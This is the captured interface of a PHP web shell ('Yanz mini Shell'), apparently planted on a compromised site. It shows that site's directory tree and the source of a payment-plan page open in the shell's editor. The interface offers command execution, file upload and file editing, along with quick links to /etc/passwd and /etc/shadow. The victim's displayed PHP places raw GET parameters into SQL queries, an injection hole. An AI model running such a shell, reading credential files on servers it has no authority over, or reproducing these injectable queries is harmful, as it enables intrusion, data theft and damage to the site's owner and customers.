Yanz mini Shell

<title>Yanz mini Shell</title>
<link rel="icon" href="https://e.top4top.io/p_26973oc9i1.png">
<style>
  html{
    overflow: auto;
    background: black;
    color: white;
    font-family: "Courier New";
  }
  a {
    text-decoration: none;
    color: white;
  }
  .a-bar {
    text-decoration: none;
    color: black;
  }
  .bar {
    display: inline;
    padding: 5px;
    background: white;
    color: black;
  }
  .baratas {
    overflow: auto;
    border: 1px solid white;
    padding: 10px;
    background: white;
    color: black;
  }
  .close {
    overflow: auto;
    border: 1px solid red;
    background: red;
    color: white;
  }
  .kotak {
    overflow: auto;
    border: 1px solid white;
    padding: 10px;
    color: white;
  }
  .l {
    float: left;
    width: 50%;
  }
  .r {
    float: right;
    width: 50%;
    text-align: right;
  }
  .l1 {
    float: left;
    width: 20%;
    border: 1px solid white;
    padding: 10px;
  }
  .r1 {
    float: right;
    width: 75%;
    border: 1px solid white;
    padding: 10px;
  }
  input {
    background: white;
    color: black;
    border: 1px solid white;
    padding: 5px;
  }
  .file {
    width: 100%;
    height: 50%;
  }
</style>
<div class="baratas">
  <div class="l">
    Yanz Mini Shell
  </div>
  <div class="r">
      <a class="a-bar" href="?page=blank">[_]</a>
      <a class="a-bar" href="?page=blank">[-]</a>
      <a class="close" href="?">[X]</a>
  </div>
</div>
<div class="kotak">
  [ <a href="?ynzmini=/home/housgcjs/elaan.net">HomeShell 1</a> ]
  [ <a href="?ynzmini=/home/housgcjs/elaan.net">HomeShell 2</a> ]
  [ <a href="?page=upload">Upload</a> ]
  [ <a href="?page=shell">Command Shell</a> ]
  [ <a href="?page=scripting">Scripting</a> ]
  [ <a href="?page=about">About</a> ]
</div>
<div class="kotak">
  [ Directory ] => <li class="bar"><a class="a-bar" href="?ynzmini=/">/</a></li>
<li class='bar'><a class='a-bar' href='?ynzmini=/home/'>home</a></li>
<li class='bar'><a class='a-bar' href='?ynzmini=/home/housgcjs/'>housgcjs</a></li>
<li class='bar'><a class='a-bar' href='?ynzmini=/home/housgcjs/elaan.net/'>elaan.net</a></li>
</div>
<div class="kotak">
  <div class="l1">
    <div class="baratas">
      Action
    </div>
    <hr>
    [*] <a href="?page=newfile">New File</a>
    <br>
    [*] <a href="?page=newfolder">New Folder</a>
    <hr>
    <div class="baratas">
      Sensitive File
    </div>
    <hr>
    [*] <a href="?file=/etc/passwd">/etc/passwd</a>
    <br>
    [*] <a href="?file=/etc/shadow">/etc/shadow</a>
    <br>
    [*] <a href="?file=/etc/resolv.conf">/etc/resolv.conf</a>
  </div>
  <div class="r1">
      [ <a href="?file=/home/housgcjs/elaan.net/modeltown/payment_plan_edit.php&delete=true">Delete</a> ]
[ <a href="?file=/home/housgcjs/elaan.net/modeltown/payment_plan_edit.php&edit=true">Edit</a> ]
[ <a href="?file=/home/housgcjs/elaan.net/modeltown/payment_plan_edit.php&rename=true">Rename</a> ]
[ <a href="?">Back</a> ]
<hr>
      <textarea class='file'>&lt;?php 
$path=&quot;admin/orna/&quot;;
require_once(&#039;admin/orna/db.php&#039;);

function number_word($num) {
    if (!in_array(($num % 100),array(11,12,13))){
      switch ($num % 10) {
        // Handle 1st, 2nd, 3rd
        case 1:  return $num.&#039;st&#039;;
        case 2:  return $num.&#039;nd&#039;;
        case 3:  return $num.&#039;rd&#039;;
      }
    }
    return $num.&#039;th&#039;;
  }

$id=@$_GET[&#039;sl_m&#039;];

$sql_inv = &quot;select * from `&quot;.$MySQL_database.&quot;`.store_out_m where mast_id=&#039;&quot;.$id.&quot;&#039;&quot;;
$inv_query=mysqli_query($connection,$sql_inv);
$inv=mysqli_fetch_assoc($inv_query);

$sql2 = &quot;select * from `&quot;.$MySQL_database.&quot;`.cust_sup where id=&#039;&quot;.$inv[&#039;cs_id&#039;].&quot;&#039; and del=&#039;N&#039;&quot;;
$cust=mysqli_fetch_assoc(mysqli_query($connection,$sql2));

$sql3 = &quot;select * from `&quot;.$MySQL_database.&quot;`.acc_trans where vnumb=&#039;&quot;.$inv[&#039;vnumb&#039;].&quot;&#039;&quot;;
$sv=mysqli_fetch_assoc(mysqli_query($connection,$sql3));

$inv_amt=($inv[&#039;total&#039;]+$inv[&#039;oth_char&#039;])-$inv[&#039;tot_dis&#039;];
$bal=(($inv[&#039;total&#039;]+$inv[&#039;oth_char&#039;])-$inv[&#039;tot_dis&#039;])-($inv[&#039;paid&#039;]);

$inv_detail= mysqli_real_escape_string($connection,
    &quot;&lt;b&gt;Invoice # :&lt;/b&gt; &quot;.$id.&#039;&lt;br&gt;&#039;.
    &quot;&lt;b&gt;Invoice Date : &lt;/b&gt;&quot;.$inv[&#039;inv_dt&#039;].&#039;&lt;br&gt;&#039;.
    &quot;&lt;b&gt;Amount : &lt;/b&gt;&quot;.number_format(($inv[&#039;total&#039;]+$inv[&#039;oth_char&#039;])-$inv[&#039;tot_dis&#039;]).&#039;/-&lt;br&gt;&#039;);

$cust_detail= mysqli_real_escape_string($connection,
    &quot;&lt;b&gt;Customer ID :&lt;/b&gt; &quot;.$cust[&#039;id&#039;].&#039;&lt;br&gt;&#039;.
    &quot;&lt;b&gt;Customer : &lt;/b&gt;&quot;.$cust[&#039;nm&#039;].&#039;&lt;br&gt;&#039;.
    &quot;&lt;b&gt;Contact #: &lt;/b&gt;&quot;.$cust[&#039;cell&#039;]);
 
$acc_detail= mysqli_real_escape_string($connection,
    &quot;&lt;b&gt;Account # :&lt;/b&gt; &quot;.$cust[&#039;acc_nm&#039;].&#039;&lt;br&gt;&#039;.
    &quot;&lt;b&gt;Sale Voucher # : &lt;/b&gt;&quot;.$sv[&#039;vnumb&#039;].&#039;&lt;br&gt;&#039;.
    &quot;&lt;b&gt;Amount Remaining: &lt;/b&gt;&quot;.number_format($bal).&#039;/-&#039;);    

    $details = array(&#039;inv_detail&#039; =&gt; $inv_detail, &#039;cust_detail&#039; =&gt; $cust_detail,&#039;acc_detail&#039; =&gt; $acc_detail,&#039;min_dt&#039;=&gt;$inv[&#039;inv_dt&#039;],&#039;inv_amt&#039;=&gt;$inv_amt);

$sql_sm=&quot;select * from `&quot;.$MySQL_database.&quot;`.schedule_m where id =&#039;&quot;.$_GET[&#039;id&#039;].&quot;&#039;&quot;;
$sm=mysqli_fetch_assoc(mysqli_query($connection,$sql_sm));
?&gt;
&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
  &lt;head&gt;
    &lt;meta charset=&quot;utf-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;meta name=&quot;description&quot; content=&quot;&quot;&gt;
    &lt;meta name=&quot;author&quot; content=&quot;&quot;&gt;
    &lt;meta name=&quot;keyword&quot; content=&quot;&quot;&gt;

    &lt;title&gt;Payment Plan Edit : ProFinance&lt;/title&gt;
&lt;script src=&quot;assets/js/now.js&quot;&gt;&lt;/script&gt;
    &lt;!-- Bootstrap core CSS --&gt;
    &lt;link href=&quot;assets/css/bootstrap.css&quot; rel=&quot;stylesheet&quot;&gt;
&lt;link href=&quot;assets/css/orna.css&quot; rel=&quot;stylesheet&quot;&gt;
    &lt;!--external css--&gt;
    &lt;link href=&quot;assets/font-awesome/css/font-awesome.css&quot; rel=&quot;stylesheet&quot; /&gt;
    &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;assets/js/gritter/css/jquery.gritter.css&quot; /&gt;
        
    &lt;!-- Custom styles for this template --&gt;
    &lt;link href=&quot;assets/css/style.css&quot; rel=&quot;stylesheet&quot;&gt;
    &lt;link href=&quot;assets/css/style-responsive.css&quot; rel=&quot;stylesheet&quot;&gt;

    &lt;!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries --&gt;
    &lt;!--[if lt IE 9]&gt;
        &lt;script src=&quot;https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js&quot;&gt;&lt;/script&gt;
        &lt;script src=&quot;https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js&quot;&gt;&lt;/script&gt;
    &lt;![endif]--&gt;
      
    &lt;!-- js placed at the end of the document so the pages load faster --&gt;
    &lt;script src=&quot;assets/js/jquery.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;assets/js/bootstrap.min.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;assets/js/jquery-ui-1.9.2.custom.min.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;assets/js/jquery.ui.touch-punch.min.js&quot;&gt;&lt;/script&gt;
    &lt;script class=&quot;include&quot; type=&quot;text/javascript&quot; src=&quot;assets/js/jquery.dcjqaccordion.2.7.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;assets/js/jquery.scrollTo.min.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;assets/js/jquery.nicescroll.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
&lt;!--script for this page--&gt;
    &lt;script type=&quot;text/javascript&quot; src=&quot;assets/js/gritter/js/jquery.gritter.js&quot;&gt;&lt;/script&gt;   
&lt;script src=&quot;admin/ajax/js/payment_plan.js&quot;&gt;&lt;/script&gt;
      
    &lt;script src=&quot;admin/ajax/js/towords.js&quot;&gt;&lt;/script&gt;

    &lt;!--common script for all pages--&gt;
    &lt;script src=&quot;assets/js/common-scripts.js&quot;&gt;&lt;/script&gt;
      
      
    &lt;style type=&quot;text/css&quot;&gt;
        #form-wrapper {
            padding: 1% !important;
            border: 0;
        }
        .table {
            margin-bottom:0px !important;
        }
        .right{
            text-align: left;
            float:right;
        }
        .plan_fields tr td{
            padding-right: 5px;
        }
        .total td{
            padding-left: 1em;
            font-weight: bold;
        }
        .valign{
            vertical-align: baseline;
            margin-top:10px;
            text-align: left;
            padding-right: 10px;
            font-weight: bold;
        }
        h4{
            font-size: 1.1em;
            font-weight: bolder;
        }
        .box{
            background-color:#f7f7f7;
            padding:1em; 
            margin:1em 0em;
            border: 1px solid #dadada;
            border-bottom: 4px solid #ccc;
        }
    &lt;/style&gt;
  &lt;/head&gt;

  &lt;body&gt;

  &lt;section id=&quot;container&quot; &gt;
      &lt;!--header start--&gt;
      &lt;?php require_once(&#039;inc-core/header.inc&#039;)?&gt;
      &lt;!--header end--&gt;
  
      &lt;!--sidebar start--&gt;
      &lt;?php require_once(&#039;inc-core/side-bar.inc&#039;);?&gt;
      &lt;!--sidebar end--&gt;
      
  
 &lt;!--main content start--&gt;
      &lt;section id=&quot;main-content&quot;&gt;
          
        &lt;section class=&quot;wrapper site-min-height&quot;&gt;
        
        &lt;div class=&quot;loading&quot;&gt;&lt;/div&gt;    
&lt;!--content-start--&gt;

&lt;div id=&quot;form-wrapper&quot; style=&quot;margin-top:2em;&quot;&gt;
        
&lt;form class=&quot;form-inline&quot; id=&quot;form_schedule&quot; role=&quot;form&quot; action=&quot;admin/ajax/php/payment_plan.php?t_name1=schedule_m&amp;t_name2=schedule_t&amp;count=2&amp;row=multi&amp;file=false&amp;flimit=0&quot; method=&quot;POST&quot;&gt;
            
        &lt;div class=&quot;col-md-3&quot;&gt;
            &lt;h3 style=&quot;margin-top: 1px;&quot;&gt;PAYMENT PLAN&lt;/h3&gt;
            &lt;b&gt;Sales Invoice:&lt;/b&gt;
            &lt;select class=&quot;form-control&quot; style=&quot;width:80% !important;&quot; name=&quot;sl_m[]&quot; id=&quot;sl_m&quot;&gt;
                &lt;?php
                    
$sql1=&quot;select 
                        sm.mast_id,
                        sm.cs_id,
                        sm.status,
                        sm.total,
                        sm.oth_char,
                        sm.gst_amt,
                        sm.tot_dis,
                        sm.user,
                        sm.dt,
                        cs.nm,
                        cs.acc_nm
                            from 
                            `&quot;.$MySQL_database.&quot;`.store_out_m sm,
                            `&quot;.$MySQL_database.&quot;`.cust_sup cs
                                    where
                                        sm.transaction_status=&#039;active&#039; and
                                        sm.rec=&#039;N&#039; and 
                                        sm.del=&#039;N&#039; and
                                        cs.id=sm.cs_id and
                                        sm.mast_id=&#039;&quot;.$_GET[&#039;sl_m&#039;].&quot;&#039;
                                            order by
                                                cs.nm&quot;;
$query1=mysqli_query($connection,$sql1);
while($inv=mysqli_fetch_assoc($query1)){

                        $sqlrec=&quot;select * from `&quot;.$MySQL_database.&quot;`.rec where sl_m_id = &#039;&quot;.$inv[&#039;mast_id&#039;].&quot;&#039;&quot;;
                        $queryrec=mysqli_query($connection,$sqlrec);
                        $recamt=0;
                        while($rec=mysqli_fetch_assoc($queryrec)){
                            $recamt+=$rec[&#039;amt&#039;];
                        }
                        
print&quot;&lt;option value=\&quot;&quot;; echo $inv[&#039;mast_id&#039;]; print&quot;\&quot; data=\&quot;&quot;; echo $inv[&#039;acc_nm&#039;]; print&quot;\&quot;&gt;&quot;; echo $inv[&#039;nm&#039;].&#039; - &#039;.$inv[&#039;dt&#039;].&#039; - &#039;.$inv[&#039;mast_id&#039;].&#039;------------------&#039;.number_format((($inv[&#039;total&#039;]+$inv[&#039;oth_char&#039;])-$inv[&#039;tot_dis&#039;])-$recamt).&#039;/-&#039;;  print&quot;&lt;/option&gt;&quot;;}?&gt;
            &lt;/select&gt;
            
        &lt;/div&gt;
            
            
        &lt;div class=&quot;col-md-3&quot;&gt;
            &lt;p style=&quot;text-decoration:underline;&quot;&gt;Invoice Details:&lt;/p&gt;
            &lt;div id=&quot;inv_detail&quot;&gt;&lt;?php echo $details[&#039;inv_detail&#039;]?&gt;&lt;/div&gt;
        &lt;/div&gt;
        &lt;div class=&quot;col-md-3&quot;&gt;
            &lt;p style=&quot;text-decoration:underline;&quot;&gt;Customer Details:&lt;/p&gt;
            &lt;div id=&quot;cust_detail&quot;&gt;&lt;?php echo $details[&#039;cust_detail&#039;]?&gt;&lt;/div&gt;
        &lt;/div&gt;
        &lt;div class=&quot;col-md-3&quot;&gt;
            &lt;p style=&quot;text-decoration:underline;&quot;&gt;Accounts Details:&lt;/p&gt;
            &lt;div id=&quot;acc_detail&quot;&gt;&lt;?php echo $details[&#039;acc_detail&#039;]?&gt;&lt;/div&gt;
        &lt;/div&gt;
            
&lt;div class=&quot;col-sm-12&quot; style=&quot;border:1px solid #e6e6e6;padding-bottom:2%;background-color:white;padding:10px;margin-top:1em;&quot;&gt;
              &lt;table class=&quot;plan_fields&quot;&gt;
                  &lt;tr&gt;
                      &lt;td colspan=&quot;5&quot;&gt;&lt;h3 style=&quot;margin-top: 1px;&quot;&gt;SCHEDULE:&lt;/h3&gt;&lt;/td&gt;
                      &lt;td&gt;&lt;b&gt;Plan Effected From:&lt;/b&gt;
                        &lt;input type=&quot;date&quot; name=&quot;plan_dt[]&quot; min=&quot;&quot; value=&quot;&lt;?php echo $sm[&#039;plan_dt&#039;];?&gt;&quot; id=&quot;plan_dt&quot; class=&quot;form-control plan_dt&quot; style=&quot;margin-bottom:1em;&quot;&gt;
                      &lt;/td&gt;
                    
                  &lt;/tr&gt;
                  &lt;tr&gt;
                      &lt;td width=&quot;20%&quot; valign=&quot;center&quot;&gt;&lt;h4&gt;Down Payment: &lt;/h4&gt;&lt;/td&gt;
                    &lt;td width=&quot;8%&quot; valign=&quot;center&quot;&gt;&lt;input type=&quot;checkbox&quot; id=&quot;dp_chq&quot; name=&quot;down_payment[]&quot; value=&quot;y&quot;
                    &lt;?php if($sm[&#039;down_payment&#039;]==&#039;y&#039;){ echo &quot;checked&quot;; $rd_dp=&#039;&#039;;}else{ $rd_dp=&#039;readonly&#039;;}?&gt; &gt; &lt;/td&gt;
                    &lt;td width=&quot;25%&quot;&gt;Amount Per Installment&lt;input type=&quot;number&quot; class=&quot;form-control&quot; name=&quot;dp_amt[]&quot; id=&quot;dp_amt&quot; value=&quot;&quot; &lt;?php echo $rd_dp; ?&gt;&gt; &lt;/td&gt;
                    &lt;td width=&quot;10%&quot; colspan=&quot;2&quot;&gt;No. of Installments&lt;input type=&quot;number&quot; class=&quot;form-control&quot; name=&quot;dp_noi[]&quot; id=&quot;dp_noi&quot; data-type=&quot;down_payment&quot; value=&quot;&lt;?php echo $sm[&#039;dp_noi&#039;];?&gt;&quot; &lt;?php echo $rd_dp;?&gt; &gt; &lt;/td&gt;
                    &lt;td&gt;Total&lt;input type=&quot;number&quot; class=&quot;form-control&quot; name=&quot;dp_tot[]&quot; id=&quot;dp_tot&quot; value=&quot;0&quot; readonly&gt;&lt;/td&gt;
                  &lt;/tr&gt;
                  
                  &lt;tr id=&quot;dp_append&quot; class=&quot;append&quot;&gt;
                      &lt;?php
                      if($sm[&#039;down_payment&#039;]==&#039;y&#039;){
                        print &quot;
                        &lt;td colspan=\&quot;2\&quot;&gt;&lt;/td&gt;
                        &lt;td colspan=\&quot;4\&quot;&gt;
                            &lt;div class=\&quot;col-md-12 box\&quot;&gt;
                                &lt;div class=\&quot;col-md-3\&quot;&gt;&lt;/div&gt;
                                &lt;div class=\&quot;col-md-3\&quot;&gt;&lt;/div&gt;
                            &lt;div class=\&quot;col-md-3\&quot;&gt;
                                &lt;b style=&#039;color:red&#039;&gt;Due Date&lt;/b&gt;
                            &lt;/div&gt;  
                            &lt;div class=\&quot;col-md-3\&quot;&gt;
                                &lt;b&gt;Amount&lt;/b&gt;
                            &lt;/div&gt;  &quot;;
                            $tot_amt = 0;
                            $sql_st=&quot;select * from `&quot;.$MySQL_database.&quot;`.schedule_t where schedule_mast_id=&#039;&quot;.$sm[&#039;id&#039;].&quot;&#039; and instal_type=&#039;down_payment&#039;&quot;;
                            $query_st=mysqli_query($connection,$sql_st);
                            $sr=0;
                            while($st=mysqli_fetch_assoc($query_st)){
                                $sr++;                            
                               print&quot;
                               &lt;div class=\&quot;col-md-3\&quot;&gt;&lt;/div&gt;
                                &lt;div class=\&quot;col-md-3 valign\&quot;&gt;&quot;.number_word($sr).&quot; Downpaymet Installment&lt;/div&gt;
                                &lt;div class=\&quot;col-md-3\&quot;&gt;
                                    &lt;input type=\&quot;date\&quot; name=\&quot;instal_dt[]\&quot; id=\&quot;dp_dt_&quot;.str_pad($sr,3,&quot;0&quot;,STR_PAD_LEFT).&quot;\&quot; class=\&quot;form-control\&quot; value=\&quot;&quot;.$st[&#039;instal_dt&#039;].&quot;\&quot; required&gt;
                                &lt;/div&gt;  
                                &lt;div class=\&quot;col-md-3\&quot;&gt;
                                    &lt;input type=\&quot;number\&quot; name=\&quot;amount[]\&quot; id=\&quot;dp_amt_&quot;.str_pad($sr,3,&quot;0&quot;,STR_PAD_LEFT).&quot;\&quot; class=\&quot;form-control amt\&quot; value=\&quot;&quot;.$st[&#039;amount&#039;].&quot;\&quot; placeholder=\&quot;Amount\&quot;&gt;

                                    &lt;input type=\&quot;hidden\&quot; name=\&quot;instal_type[]\&quot; value=\&quot;down_payment\&quot;&gt;
                                    &lt;input type=\&quot;hidden\&quot; name=\&quot;mul[]\&quot;&gt;
                                    &lt;input type=\&quot;hidden\&quot; name=\&quot;status[]\&quot; value=\&quot;&quot;.$st[&#039;status&#039;].&quot;\&quot;&gt;
                                &lt;/div&gt;
                                &quot; ;  
                                $tot_amt+=$st[&#039;amount&#039;];
                            }    
                             
                            print &quot;
                            &lt;div class=\&quot;col-md-3\&quot;&gt;&lt;/div&gt;
                            &lt;div class=\&quot;col-md-3\&quot;&gt;&lt;/div&gt;
                            &lt;div class=\&quot;col-md-3\&quot; style=\&quot;text-align:right;font-weight:bold;padding-right:1em;\&quot;&gt;
                                Total Amount:
                            &lt;/div&gt;  
                            &lt;div class=\&quot;col-md-3\&quot; style=\&quot;margin-bottom:2em;padding-left: 1em;\&quot; id=\&quot;dp_tot_amt\&quot; data-amt=\&quot;&quot;.$tot_amt.&quot;\&quot;&gt;
                                &quot;.number_format($tot_amt).&quot;/-
                            &lt;/div&gt;
                            &lt;/div&gt;
                        &lt;/td&gt;
                        
                        &lt;script type=&#039;text/javascript&#039;&gt;
                            $(&#039;#dp_amt&#039;).val($(&#039;#dp_tot_amt&#039;).data(&#039;amt&#039;)/$(&#039;#dp_noi&#039;).val());
                            $(&#039;#dp_tot&#039;).val($(&#039;#dp_tot_amt&#039;).data(&#039;amt&#039;));
                        &lt;/script&gt;
                    &quot;;
                          
                      }
                      ?&gt;
                  &lt;/tr&gt;
                  &lt;?php 
                    if($sm[&#039;annual&#039;]==&#039;y&#039; &amp;&amp; $sm[&#039;ai_dt&#039;]==&#039;&#039;){
                        $sm[&#039;ai_dt&#039;]=$sm[&#039;plan_dt&#039;];
                    }
                  ?&gt;
                  &lt;tr&gt;
                    &lt;td width=&quot;20%&quot; valign=&quot;center&quot;&gt;&lt;h4&gt;Annual Installments:&lt;/h4&gt; &lt;/td&gt;
                    &lt;td width=&quot;8%&quot; valign=&quot;center&quot;&gt;&lt;input type=&quot;checkbox&quot; id=&quot;ai_chq&quot; name=&quot;annual[]&quot; value=&quot;y&quot; &lt;?php if($sm[&#039;annual&#039;]==&#039;y&#039;){ echo &quot;checked&quot;; $rd_ai=&#039;&#039;;}else{ $rd_ai=&#039;readonly&#039;;}?&gt;&gt; &lt;/td&gt;
                    &lt;td&gt;&lt;input type=&quot;number&quot; class=&quot;form-control&quot; name=&quot;ai_amt[]&quot; id=&quot;ai_amt&quot; value=&quot;0&quot; &lt;?php echo $rd_dp; ?&gt;&gt; &lt;/td&gt;
                    &lt;td width=&quot;25%&quot;&gt;&lt;input type=&quot;number&quot; class=&quot;form-control&quot; name=&quot;ai_noi[]&quot; id=&quot;ai_noi&quot; data-type=&quot;annual_installment&quot; value=&quot;&lt;?php echo $sm[&#039;ai_noi&#039;];?&gt;&quot;  &lt;?php echo $rd_ai; ?&gt;&gt; &lt;/td&gt;
                    &lt;td width=&quot;25%&quot;&gt;
                        &lt;input type=&quot;date&quot; class=&quot;form-control&quot; name=&quot;ai_dt[]&quot; id=&quot;ai_dt&quot; data-type=&quot;annual_installment&quot; value=&quot;&lt;?php echo $sm[&#039;ai_dt&#039;];?&gt;&quot;  &lt;?php echo $rd_ai; ?&gt;&gt; 
                    &lt;/td&gt;
                    &lt;td&gt;&lt;input type=&quot;number&quot; class=&quot;form-control&quot; name=&quot;ai_tot[]&quot; id=&quot;ai_tot&quot; value=&quot;0&quot; readonly&gt;&lt;/td&gt;
                  &lt;/tr&gt;
                  
                  &lt;tr id=&quot;ai_append&quot; class=&quot;append&quot;&gt;
                    &lt;?php
                      if($sm[&#039;annual&#039;]==&#039;y&#039;){
                        print &quot;
                        &lt;td colspan=\&quot;2\&quot;&gt;&lt;/td&gt;
                        &lt;td colspan=\&quot;4\&quot;&gt;
                            &lt;div class=\&quot;col-md-12 box\&quot;&gt;
                                &lt;div class=\&quot;col-md-3\&quot;&gt;&lt;/div&gt;
                                &lt;div class=\&quot;col-md-3\&quot;&gt;&lt;/div&gt;
                            &lt;div class=\&quot;col-md-3\&quot;&gt;
                                &lt;b style=&#039;color:red&#039;&gt;Due Date&lt;/b&gt;
                            &lt;/div&gt;  
                            &lt;div class=\&quot;col-md-3\&quot;&gt;
                                &lt;b&gt;Amount&lt;/b&gt;
                            &lt;/div&gt;  &quot;;
                            $tot_amt = 0;
                            $sql_st=&quot;select * from `&quot;.$MySQL_database.&quot;`.schedule_t where schedule_mast_id=&#039;&quot;.$sm[&#039;id&#039;].&quot;&#039; and instal_type=&#039;annual&#039;&quot;;
                            $query_st=mysqli_query($connection,$sql_st);
                            $sr=0;
                            while($st=mysqli_fetch_assoc($query_st)){
                                $sr++;                            
                               print&quot;
                               &lt;div class=\&quot;col-md-3\&quot;&gt;&lt;/div&gt;
                                &lt;div class=\&quot;col-md-3 valign\&quot;&gt;&quot;.number_word($sr).&quot; Annual Installment&lt;/div&gt;
                                &lt;div class=\&quot;col-md-3\&quot;&gt;
                                    &lt;h4&gt;&quot;.date(&#039;d-M-Y&#039;, strtotime($st[&#039;instal_dt&#039;])).&quot;&lt;/h4&gt;
                                    &lt;input type=\&quot;hidden\&quot; name=\&quot;instal_dt[]\&quot; id=\&quot;ai_dt_&quot;.str_pad($sr,3,&quot;0&quot;,STR_PAD_LEFT).&quot;\&quot; value=\&quot;&quot;.date(&#039;Y-m-d&#039;,strtotime($st[&#039;instal_dt&#039;])).&quot;\&quot;&gt;
                                &lt;/div&gt;  
                                &lt;div class=\&quot;col-md-3\&quot;&gt;
                                    &lt;input type=\&quot;number\&quot; name=\&quot;amount[]\&quot; id=\&quot;ai_amt_&quot;.str_pad($sr,3,&quot;0&quot;,STR_PAD_LEFT).&quot;\&quot; class=\&quot;form-control amt\&quot; value=\&quot;&quot;.$st[&#039;amount&#039;].&quot;\&quot; class=\&quot;form-control\&quot; value=\&quot;&quot;.$st[&#039;amount&#039;].&quot;\&quot; placeholder=\&quot;Amount\&quot;&gt;
                                    &lt;input type=\&quot;hidden\&quot; name=\&quot;instal_type[]\&quot; value=\&quot;annual\&quot;&gt;
                                    &lt;input type=\&quot;hidden\&quot; name=\&quot;mul[]\&quot;&gt;
                                    &lt;input type=\&quot;hidden\&quot; name=\&quot;status[]\&quot; value=\&quot;unpaid\&quot;&gt;
                                &lt;/div&gt;
                                &quot; ;  
                                $tot_amt+=$st[&#039;amount&#039;];
                            }    
                             
                            print &quot;
                            &lt;div class=\&quot;col-md-3\&quot;&gt;&lt;/div&gt;
                            &lt;div class=\&quot;col-md-3\&quot;&gt;&lt;/div&gt;
                                &lt;div class=\&quot;col-md-3\&quot; style=\&quot;text-align:right;font-weight:bold;padding-right:1em;\&quot;&gt;
                                    Total Amount:
                                &lt;/div&gt;  
                                &lt;div class=\&quot;col-md-3\&quot; style=\&quot;margin-bottom:2em;padding-left: 1em;\&quot; id=\&quot;ai_tot_amt\&quot; data-amt=\&quot;&quot;.$tot_amt.&quot;\&quot;&gt;
                                    &quot;.number_format($tot_amt).&quot;/-
                                &lt;/div&gt;
                                &lt;/div&gt;
                            &lt;/td&gt;
                            
                            &lt;script type=&#039;text/javascript&#039;&gt;
                                $(&#039;#ai_amt&#039;).val($(&#039;#ai_tot_amt&#039;).data(&#039;amt&#039;)/$(&#039;#ai_noi&#039;).val());
                                $(&#039;#ai_tot&#039;).val($(&#039;#ai_tot_amt&#039;).data(&#039;amt&#039;));
                            &lt;/script&gt;
                    &quot;;
                      }
                      ?&gt;
                  &lt;/tr&gt;
                  
                  &lt;?php 
                    if($sm[&#039;semi_anual&#039;]==&#039;y&#039; &amp;&amp; $sm[&#039;sai_dt&#039;]==&#039;&#039;){
                        $sm[&#039;sai_dt&#039;]=$sm[&#039;plan_dt&#039;];
                    }
                  ?&gt;
                  
                  &lt;tr&gt;
                      &lt;td width=&quot;20%&quot; valign=&quot;center&quot;&gt;&lt;h4&gt;Semi Annual Installments:&lt;/h4&gt; &lt;/td&gt;
                    &lt;td width=&quot;8%&quot; valign=&quot;center&quot;&gt;&lt;input type=&quot;checkbox&quot; id=&quot;sai_chq&quot; name=&quot;semi_anual[]&quot; value=&quot;y&quot; &lt;?php if($sm[&#039;semi_anual&#039;]==&#039;y&#039;){ echo &quot;checked&quot;; $sai_dp=&#039;&#039;;}else{ $sai_dp=&#039;readonly&#039;;}?&gt;&gt; &lt;/td&gt;
                    &lt;td&gt;&lt;input type=&quot;number&quot; class=&quot;form-control&quot; name=&quot;sai_amt[]&quot; id=&quot;sai_amt&quot; value=&quot;0&quot; &lt;?php echo $sai_dp; ?&gt;&gt; &lt;/td&gt;
                    &lt;td width=&quot;25%&quot;&gt;&lt;input type=&quot;number&quot; class=&quot;form-control&quot; name=&quot;sai_noi[]&quot; id=&quot;sai_noi&quot; data-type=&quot;semi_annual_installment&quot;  value=&quot;&lt;?php echo $sm[&#039;sai_noi&#039;];?&gt;&quot; &lt;?php echo $sai_dp; ?&gt;&gt; &lt;/td&gt;
                    &lt;td width=&quot;25%&quot;&gt;
                        &lt;input type=&quot;date&quot; class=&quot;form-control&quot; name=&quot;sai_dt[]&quot; id=&quot;sai_dt&quot; data-type=&quot;semi_annual_installment&quot; value=&quot;&lt;?php echo $sm[&#039;sai_dt&#039;];?&gt;&quot;  &lt;?php echo $sai_dp; ?&gt;&gt; 
                    &lt;/td&gt;  
                    &lt;td&gt;&lt;input type=&quot;number&quot; class=&quot;form-control&quot; name=&quot;sai_tot[]&quot; id=&quot;sai_tot&quot; value=&quot;0&quot; readonly&gt;&lt;/td&gt;
                  &lt;/tr&gt;
                  
                  &lt;tr id=&quot;sai_append&quot; class=&quot;append&quot;&gt;
                    &lt;?php
                      if($sm[&#039;semi_anual&#039;]==&#039;y&#039;){
                        print &quot;
                        &lt;td colspan=\&quot;2\&quot;&gt;&lt;/td&gt;
                        &lt;td colspan=\&quot;4\&quot;&gt;
                            &lt;div class=\&quot;col-md-12 box\&quot;&gt;
                                &lt;div class=\&quot;col-md-3\&quot;&gt;&lt;/div&gt;
                                &lt;div class=\&quot;col-md-3\&quot;&gt;&lt;/div&gt;
                            &lt;div class=\&quot;col-md-3\&quot;&gt;
                                &lt;b style=&#039;color:red&#039;&gt;Due Date&lt;/b&gt;
                            &lt;/div&gt;  
                            &lt;div class=\&quot;col-md-3\&quot;&gt;
                                &lt;b&gt;Amount&lt;/b&gt;
                            &lt;/div&gt;  &quot;;
                            $tot_amt = 0;
                            $sql_st=&quot;select * from `&quot;.$MySQL_database.&quot;`.schedule_t where schedule_mast_id=&#039;&quot;.$sm[&#039;id&#039;].&quot;&#039; and instal_type=&#039;semi_anual&#039;&quot;;
                            $query_st=mysqli_query($connection,$sql_st);
                            $sr=0;
                            while($st=mysqli_fetch_assoc($query_st)){
                                $sr++;                            
                               print&quot;
                               &lt;div class=\&quot;col-md-3\&quot;&gt;&lt;/div&gt;
                                &lt;div class=\&quot;col-md-3 valign\&quot;&gt;&quot;.number_word($sr).&quot; Semi Annual Installment&lt;/div&gt;
                                &lt;div class=\&quot;col-md-3\&quot;&gt;
